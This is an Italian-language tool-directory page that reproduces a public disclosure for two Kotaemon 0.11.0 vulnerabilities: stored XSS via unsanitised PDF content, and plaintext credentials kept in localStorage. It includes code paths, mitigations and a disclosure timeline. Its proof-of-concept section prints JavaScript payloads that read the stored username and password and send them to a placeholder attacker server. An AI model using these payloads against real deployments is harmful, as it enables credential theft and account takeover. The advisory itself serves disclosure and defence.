Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — Divulgazione pubblica per CVE-2025-56526 e CVE-2025-56527 — XSS persistente tramite rendering non sanitizzato di contenuti PDF ed esposizione di credenziali in chiaro in Kotaemon 0.11.0. Include analisi tecnica completa, PoC, valutazione dell'impatto e cronologia della divulgazione responsabile. | Kitploit
Strumenti/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Strumenti di PhishingAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiSicurezza WebPaper e RicercaApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

Vedi Repository
19 mesi faNon ancora revisionato

Divulgazione pubblica per CVE-2025-56526 e CVE-2025-56527 — XSS persistente tramite rendering non sanitizzato di contenuti PDF ed esposizione di credenziali in chiaro in Kotaemon 0.11.0. Include analisi tecnica completa, PoC, valutazione dell'impatto e cronologia della divulgazione responsabile.

Condividi

Divulgazione pubblica di Kotaemon CVE-2025-56526 e CVE-2025-56527

Lo Stored Cross-Site Scripting nel pannello informativo di Kotaemon si combina con l'archiviazione in chiaro delle credenziali in localStorage, consentendo il pieno compromesso della sessione a partire da un singolo caricamento di un PDF dannoso.

Riepilogo esecutivo

  • Prodotto / Versioni interessate: Kotaemon <= 0.11.0 (incluso il commit 37cdc28)
  • Vulnerabilità:
    • CVE-2025-56526 – Stored XSS tramite rendering non sanificato del contenuto PDF
    • CVE-2025-56527 – Archiviazione in chiaro di nome utente/password in localStorage
  • Privilegi richiesti: utente autenticato con permessi di caricamento documenti
  • Impatto: furto di credenziali, dirottamento persistente della sessione, alterazione dell'interfaccia dei risultati LLM, compromissione della fiducia degli utenti

Panoramica CVE

ID CVEDebolezzaCWEImpatto principale
CVE-2025-56526Stored XSS tramite HTML derivato da PDFCWE-79Esecuzione arbitraria di JavaScript, esfiltrazione di dati
CVE-2025-56527Archiviazione credenziali in chiaroCWE-922Divulgazione di credenziali, dirottamento della sessione

Analisi tecnica

1. Rendering non sanificato del contenuto PDF (Stored XSS)

I risultati dell'estrazione PDF (testo, markup di tabelle, metadati delle immagini) vengono iniettati nel DOM senza escaping. Un PDF dannoso può quindi veicolare HTML/JS arbitrari che vengono eseguiti ogni volta che il pannello informativo o le viste Reasoning renderizzano retrieved_content.

I percorsi di codice interessati includono:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (rendering table / image)
  • libs/ktem/ktem/reasoning/simple.py e libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. Archiviazione in chiaro delle credenziali in localStorage

libs/ktem/ktem/pages/login.py insieme a libs/ktem/ktem/assets/js/main.js memorizza e recupera le credenziali grezze direttamente da localStorage:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

Qualsiasi JavaScript eseguito tramite il vettore XSS può leggere immediatamente questi valori, determinando un furto affidabile delle credenziali e un duraturo furto dell'account.

Prova di concetto

  1. Incorpora il payload seguente in un PDF (ad esempio, all'interno di un attributo alt di un'immagine o di un oggetto di testo):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. Carica il PDF e aprilo nel pannello informativo di Kotaemon. Lo script incorporato viene eseguito all'interno dell'origine dell'applicazione ed esfiltra le credenziali.
  2. Un payload migliorato ruba inoltre il contesto di navigazione per facilitare il targeting:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

Impatto

  • Stored XSS: JavaScript arbitrario viene eseguito ogni volta che il PDF dannoso viene visualizzato.
  • Furto di credenziali: le coppie username/password in chiaro vengono esposte a qualsiasi script iniettato.
  • Dirottamento persistente della sessione: gli attaccanti possono riutilizzare le credenziali per impersonare gli utenti, accedere ai progetti o avvelenare i risultati LLM.
  • Perdita di integrità dei risultati LLM: gli utenti non possono più fidarsi del pannello informativo o dei risultati di reasoning, consentendo sofisticate catene di ingegneria sociale.

Analisi estesa delle minacce

Kotaemon è spesso distribuito in ambienti locali o aziendali in cui gli utenti caricano documenti interni sensibili. Poiché il contenuto derivato dal PDF viene inserito nel DOM senza sanificazione, un attaccante può nascondere un payload dannoso all'interno di un documento aziendale dall'aspetto normale.

Quando la vittima carica e visualizza questo documento, il JavaScript nascosto viene eseguito automaticamente, rubando le credenziali da localStorage ed esponendo i registri di chat privati e i contenuti dei documenti.

Sebbene l'attivazione sembri iniziata dall'utente, non si tratta di self-XSS. La causa principale è la mancata sanificazione lato server dell'HTML estratto dai file caricati, che consente Stored XSS all'interno di componenti UI fidati.

Di conseguenza, un singolo PDF dannoso può portare al pieno compromesso dell'account in scenari realistici di ingegneria sociale.

Raccomandazioni

  1. Eseguire l'escaping o sanificare tutti i contenuti derivati dal PDF prima del rendering (ad esempio html.escape, DOMPurify o Trusted Types per i sink DOM).
  2. Applicare una pipeline di whitelist Markdown/HTML in modo che solo tag/attributi approvati raggiungano il browser.
  3. Vietare l'archiviazione lato client delle credenziali grezze; utilizzare invece cookie sicuri HTTP-only o token di sessione a breve scadenza.
  4. Distribuire CSP (script-src 'self') e Trusted Types per ridurre la superficie d'attacco DOM XSS.
  5. Aggiungere test di regressione per i percorsi di acquisizione PDF e definire una policy di gestione dei risultati LLM che tratti il contenuto recuperato come non fidato.

Prove (screenshots/)

  • PDF dannoso renderizzato nel pannello informativo
  • Payload HTML iniettato tramite contenuto estratto
  • Strumenti di sviluppo che mostrano nodi DOM non sanificati
  • Credenziali in chiaro archiviate in localStorage
  • Richiesta di esfiltrazione di rete emessa dal payload
  • Server dell'attaccante che riceve credenziali codificate in base64
  • Payload migliorato che raccoglie metadati URL/origin/UA
  • Sessione/UI risultante controllata dall'attaccante

Dichiarazione di divulgazione

Questa consulenza pubblica segue le pratiche standard di divulgazione responsabile del settore:

  • Sono stati concessi più di 90 giorni al fornitore per rispondere e applicare una patch.
  • Sono stati effettuati molteplici tentativi di follow-up senza che venisse fornita alcuna risoluzione o piano di rimedio.
  • Gli identificativi CVE (CVE-2025-56526, CVE-2025-56527) sono stati ufficialmente assegnati da MITRE.
  • Un avviso finale è stato inviato 30 giorni prima della divulgazione pubblica.
  • La divulgazione pubblica procede ora per proteggere gli utenti finali e ridurre l'esposizione a rischi non corretti.

Raccomandazioni per gli utenti

Gli utenti di Kotaemon (<= 0.11.0) dovrebbero considerare quanto segue fino a quando non sarà disponibile una correzione di sicurezza:

  • Monitorare il repository ufficiale per le prossime patch di sicurezza.
  • Evitare di elaborare documenti non fidati.

Cronologia della divulgazione

  • 2025-07-14: Segnalazione iniziale della vulnerabilità inviata al team di Kotaemon.
  • 2025-08-12: Primo follow-up; il fornitore ha dichiarato di essere impegnato e ha richiesto una scadenza.
  • 2025-09-12: Secondo follow-up con rapporto dettagliato e PoC.
  • 2025-09-13: Follow-up finale; nessun'ulteriore risposta.
  • 2025-10-14: Inviato avviso finale che indica l'intenzione di divulgare pubblicamente.
  • 2025-11-14: Divulgazione pubblica di CVE-2025-56526 e CVE-2025-56527.

Crediti e contatti

  • Questo rapporto è stato preparato da HanTul. (ex membro di Team 404 Not Found 퇴근, WhiteHat School 3rd Cohort (WHS3), Corea del Sud).
  • Contatto: [email protected]
  • GitHub: @HanTul
Scarica lo strumento